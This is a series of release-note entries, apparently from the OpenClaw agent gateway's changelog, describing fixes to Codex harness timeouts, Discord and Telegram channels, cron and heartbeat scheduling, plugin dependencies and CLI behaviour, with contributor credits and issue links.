<li>Codex harness: interrupt and release native app-server turns that go quiet after an OpenClaw dynamic-tool response without sending <code>turn/completed</code>, so Discord and other chat lanes do not stay stuck in <code>processing</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Codex harness: bound OpenClaw dynamic tool responses to 30 seconds and fail closed with an explicit tool result when the app-server bridge would otherwise strand the turn in <code>processing</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>TUI/status: clear stale <code>streaming</code> footer state when a final event arrives after the active run was already cleared and no tracked runs remain, while preserving concurrent-run ownership and inactive local <code>/btw</code> terminal handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244725441" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64825" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64825/hovercard" href="https://github.com/openclaw/openclaw/issues/64825">#64825</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244930419" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64842" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64842/hovercard" href="https://github.com/openclaw/openclaw/pull/64842">#64842</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244936758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64843/hovercard" href="https://github.com/openclaw/openclaw/pull/64843">#64843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244944537" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64847" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64847/hovercard" href="https://github.com/openclaw/openclaw/pull/64847">#64847</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244992206" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64862" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64862/hovercard" href="https://github.com/openclaw/openclaw/pull/64862">#64862</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Yanhu007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Yanhu007">@Yanhu007</a>.</li>
<li>Channels/Discord: fail startup closed when Discord cannot resolve the bot's own identity and keep mention gating active when only configured mention patterns can detect mentions, so the provider no longer continues with a missing bot id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4052146259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42219" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42219/hovercard" href="https://github.com/openclaw/openclaw/issues/42219">#42219</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077562944" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46856" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46856/hovercard" href="https://github.com/openclaw/openclaw/pull/46856">#46856</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4090797830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49218" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49218/hovercard" href="https://github.com/openclaw/openclaw/pull/49218">#49218</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/education-01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/education-01">@education-01</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BenediktSchackenberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BenediktSchackenberg">@BenediktSchackenberg</a>.</li>
<li>Channels/Discord: split long CJK replies at punctuation and code-point-safe fallback boundaries so Discord chunking stays readable without corrupting astral characters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4037445222" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/38597" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/38597/hovercard" href="https://github.com/openclaw/openclaw/issues/38597">#38597</a>; repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326906134" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71384/hovercard" href="https://github.com/openclaw/openclaw/pull/71384">#71384</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/p3nchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/p3nchan">@p3nchan</a>.</li>
<li>TUI: keep the streaming watchdog alive across active tool/lifecycle proof-of-life, pause it during disconnects, and reload history after stale reconnect runs so long-running chats stop flipping to false idle or hanging on stale streaming. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291861236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69081" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69081/hovercard" href="https://github.com/openclaw/openclaw/issues/69081">#69081</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EenvoudJasper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EenvoudJasper">@EenvoudJasper</a>.</li>
<li>Browser/gateway: ignore Playwright dialog-close races from <code>Page.handleJavaScriptDialog</code> so browser automation no longer crashes the Gateway when a dialog disappears before Playwright accepts it. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041670448" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40067" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40067/hovercard" href="https://github.com/openclaw/openclaw/pull/40067">#40067</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/randyjtw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/randyjtw">@randyjtw</a>.</li>
<li>Cron/Gateway: defer missed isolated agent-turn catch-up out of the channel startup window, so overdue cron work cannot starve Discord or Telegram while providers connect after a restart. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Heartbeat/cron: defer heartbeat turns while cron work is active or queued, add opt-in <code>heartbeat.skipWhenBusy</code> for subagent/nested lane pressure, and retry busy skips without advancing the schedule so local Ollama hosts do not run heartbeat and cron prompts concurrently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4105361592" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50773" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50773/hovercard" href="https://github.com/openclaw/openclaw/issues/50773">#50773</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scottgl9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scottgl9">@scottgl9</a>.</li>
<li>Agents/thinking: honor configured model <code>compat.supportedReasoningEfforts</code> entries that include <code>xhigh</code>, so custom OpenAI-compatible provider refs expose and validate <code>/think xhigh</code> consistently across command menus, Gateway sessions, agent CLI, and <code>llm-task</code>. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087419491" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48904" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48904/hovercard" href="https://github.com/openclaw/openclaw/pull/48904">#48904</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Milchstrassse/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Milchstrassse">@Milchstrassse</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wufunc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wufunc">@wufunc</a>.</li>
<li>Vercel AI Gateway: expose provider-owned <code>/think xhigh</code> for trusted OpenAI/Codex upstream refs and Claude adaptive thinking for Anthropic upstream refs, while leaving untrusted namespaced refs on base levels. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4048650454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41561" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/41561/hovercard" href="https://github.com/openclaw/openclaw/pull/41561">#41561</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zcg2021/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zcg2021">@Zcg2021</a>.</li>
<li>Plugins/runtime-deps: prune stale <code>openclaw-unknown-*</code> bundled runtime dependency roots during Gateway startup while keeping recent or locked roots, so old staging debris cannot keep growing across restarts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/runtime-deps: include ten more root-package runtime dependencies (<code>@agentclientprotocol/sdk</code>, <code>@lydell/node-pty</code>, <code>croner</code>, <code>dotenv</code>, <code>jiti</code>, <code>json5</code>, <code>jszip</code>, <code>markdown-it</code>, <code>tar</code>, <code>web-push</code>) in <code>MIRRORED_CORE_RUNTIME_DEP_NAMES</code> so they are mirrored into the runtime-deps tree alongside <code>semver</code> and <code>tslog</code>, preventing <code>Cannot find package 'X'</code> failures from core dist code (for example <code>qmd-manager</code>, <code>cron/schedule</code>, <code>infra/archive</code>, <code>infra/push-web</code>, <code>infra/backup-create</code>, <code>process/supervisor/adapters/pty</code>) when no enabled extension owns the dependency. Adds a static drift guard test that scans <code>src/</code> for value imports of root-package deps and fails CI when one is missing from the mirror allowlist or extension-owned set. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348806638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74199" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74199/hovercard" href="https://github.com/openclaw/openclaw/issues/74199">#74199</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxpuppet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxpuppet">@maxpuppet</a>.</li>
<li>Ollama: compose caller abort signals with guarded-fetch timeouts for native <code>/api/chat</code> streams, so <code>/stop</code> and early cancellation still interrupt local Ollama requests that also carry provider timeout budgets. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348337046" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74133" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74133/hovercard" href="https://github.com/openclaw/openclaw/pull/74133">#74133</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Doctor/TTS: migrate legacy <code>messages.tts.enabled</code>, agent TTS, channel TTS, and voice-call plugin TTS toggles to <code>auto</code> mode during <code>openclaw doctor --fix</code>, matching the documented TTS config contract. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/logs: fall back to the configured Gateway file log when implicit loopback Gateway connections close or time out before or during <code>logs.tail</code>, so <code>openclaw logs</code> still works while diagnosing local-model Gateway disconnects. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347954374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74078" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74078/hovercard" href="https://github.com/openclaw/openclaw/issues/74078">#74078</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sakalaboator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sakalaboator">@sakalaboator</a>.</li>
<li>MCP/plugins: stringify non-array plugin tool results with chat-content coercion instead of default object stringification, so MCP callers receive useful JSON/text content from plugin tools. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Active Memory/QMD: make gateway-start QMD refresh opt-in via <code>memory.qmd.update.startup</code>, keep normal memory access lazy, preserve interactive file watching, and align watcher dependency/build ignores with QMD's scanner so cold gateway startup no longer imports or initializes QMD by default. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codexGW/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codexGW">@codexGW</a>.</li>
<li>Channels/Discord: remove Discord-owned queued-run timeout replies through the shared channel lifecycle queue while preserving message ordering and compatibility timeout constants, so long Discord turns stay governed by session/tool/runtime lifecycle instead of channel fallback errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codexGW/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codexGW">@codexGW</a>.</li>
<li>Agents/tools: clamp <code>process.poll</code> waits to 30 seconds, advertise that cap in the tool schema, and honor abort signals while waiting, so long command polls cannot pin agent responsiveness after cancellation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK: add tracked Discord component-message helpers and a Telegram account-resolution compatibility facade, so existing plugins using those subpaths resolve while new plugins stay on generic channel SDK contracts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Shared labels: preserve Unicode combining marks and NFC-equivalent accented text in group/channel slug normalization so non-Latin labels no longer lose meaningful characters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4185745477" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58932" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58932/hovercard" href="https://github.com/openclaw/openclaw/issues/58932">#58932</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4185851212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58942" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58942/hovercard" href="https://github.com/openclaw/openclaw/pull/58942">#58942</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4186444405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58995" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58995/hovercard" href="https://github.com/openclaw/openclaw/pull/58995">#58995</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fengqing-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fengqing-git">@fengqing-git</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Starhappysh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Starhappysh">@Starhappysh</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/koen666/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/koen666">@koen666</a>.</li>
<li>Channels/Telegram: include probed video width and height when sending regular Telegram videos, so portrait clips render with the correct orientation instead of being stretched by clients. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3950913740" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/18915" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/18915/hovercard" href="https://github.com/openclaw/openclaw/pull/18915">#18915</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/storyarcade/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/storyarcade">@storyarcade</a>.</li>
<li>Docs/Hetzner: clarify that SSH tunnel access requires <code>AllowTcpForwarding local</code> before running <code>ssh -L</code>, so hardened VPS sshd configs do not block loopback Gateway access. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136710669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54557" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54557/hovercard" href="https://github.com/openclaw/openclaw/issues/54557">#54557</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136836006" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54564" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54564/hovercard" href="https://github.com/openclaw/openclaw/pull/54564">#54564</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4141007846" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54954" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54954/hovercard" href="https://github.com/openclaw/openclaw/pull/54954">#54954</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/satishkc7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/satishkc7">@satishkc7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blackstrype/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blackstrype">@blackstrype</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Aftabbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Aftabbs">@Aftabbs</a>.</li>
<li>Agents/config: preserve authored <code>agents.defaults.params</code> and per-model <code>agents.defaults.models[].params</code> during narrowed internal config writes, so OpenAI transport overrides such as <code>transport: "sse"</code> and <code>openaiWsWarmup: false</code> are not stripped from <code>openclaw.json</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344027749" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73607" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73607/hovercard" href="https://github.com/openclaw/openclaw/issues/73607">#73607</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341750455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73428" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73428/hovercard" href="https://github.com/openclaw/openclaw/issues/73428">#73428</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quangtran88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quangtran88">@quangtran88</a>.</li>
<li>Agents/model config: resolve per-model extra params through canonical model keys while preserving legacy double-prefixed fallback entries, so provider-prefixed model ids such as <code>openrouter/auto</code> keep their configured runtime params. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066560428" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44319" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/44319/hovercard" href="https://github.com/openclaw/openclaw/pull/44319">#44319</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HenryXiaoYang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HenryXiaoYang">@HenryXiaoYang</a>.</li>
<li>Gateway/shutdown: report structured shutdown warnings and HTTP close timeout warnings through <code>ShutdownResult</code> while preserving lifecycle hook hardening. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4046867239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41296" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/41296/hovercard" href="https://github.com/openclaw/openclaw/pull/41296">#41296</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/edenfunf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/edenfunf">@edenfunf</a>.</li>
<li>Control UI: keep Agents Overview and config-form select dropdowns on their configured value after options render while preserving inherited agent model placeholders. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042433661" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40352" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40352/hovercard" href="https://github.com/openclaw/openclaw/issues/40352">#40352</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4121542753" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52948" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/52948/hovercard" href="https://github.com/openclaw/openclaw/pull/52948">#52948</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xiaoquanidea/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiaoquanidea">@xiaoquanidea</a>.</li>
<li>Agents/exec: launch zsh, bash, and fish host exec shells with startup files suppressed while preserving existing PATH fallbacks, so daemon env is not overridden by shell startup files. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042016257" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40200" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40200/hovercard" href="https://github.com/openclaw/openclaw/pull/40200">#40200</a>; fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041976066" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40179" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40179/hovercard" href="https://github.com/openclaw/openclaw/issues/40179">#40179</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NewdlDewdl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NewdlDewdl">@NewdlDewdl</a>.</li>
<li>Plugins/QA: prebuild the private QA channel runtime before plugin gauntlet source runs so wrapper CPU/RSS measurements are not polluted by private QA dist rebuild work. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/QA: add a Kitchen Sink plugin gauntlet that installs the external package, checks command inventory, MCP tools, channel status, provider turns, gateway RSS, CPU, and fatal log anomalies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/config: reuse the bundled plugin alias scan within a single config normalization pass, so Kitchen Sink-style plugin configs no longer peg Gateway CPU by repeatedly rescanning bundled metadata before agent turns. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/channels: reject malformed runtime channel registrations that omit required config helpers before they can poison channel status. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>MCP/plugins: serialize raw plugin tool return values through the plugin-tools MCP bridge so Kitchen Sink-style tools no longer surface <code>undefined</code> content. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/reload: bound default restart deferral and SIGUSR1 restart drain to five minutes while preserving explicit <code>deferralTimeoutMs: 0</code> indefinite waits, so stale active work accounting cannot block config reloads forever. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Active Memory: register the prompt-build hook with the configured recall timeout plus setup grace instead of the 150s maximum budget, so default memory recall cannot delay turn startup for multiple minutes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/readiness: include an <code>eventLoop</code> diagnostic block in local or authenticated <code>/readyz</code> responses with event-loop delay (p99 and max), event-loop utilization, CPU core ratio, and a <code>degraded</code> flag, so operators can see when slow startups or runaway turns stall the event loop. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/agents: schedule accepted agent runs after the accepted RPC frame has a chance to flush, so pre-turn prompt/context work is less likely to starve immediate <code>agent.wait</code> callers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/update: tolerate stale memory-runtime import failures during best-effort CLI process teardown, so <code>openclaw update</code> replacing hashed runtime chunks before the finalizer runs no longer surfaces as exit-time <code>Cannot find module</code> noise. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/channels logs: reuse the rolling log-file resolver so <code>openclaw channels logs</code> falls back to the active dated log across date boundaries without reading unrelated custom log files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4056125824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42875" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42875/hovercard" href="https://github.com/openclaw/openclaw/issues/42875">#42875</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4056258292" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42904" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42904/hovercard" href="https://github.com/openclaw/openclaw/pull/42904">#42904</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4057041029" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/43043/hovercard" href="https://github.com/openclaw/openclaw/pull/43043">#43043</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethanclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethanclaw">@ethanclaw</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wdskuki/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wdskuki">@wdskuki</a>.</li>
<li>CLI/update: skip tracked plugins disabled in config during post-update plugin sync before npm, ClawHub, or marketplace update checks, preserving their install records without failing the update. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347036954" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73880" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73880/hovercard" href="https://github.com/openclaw/openclaw/issues/73880">#73880</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
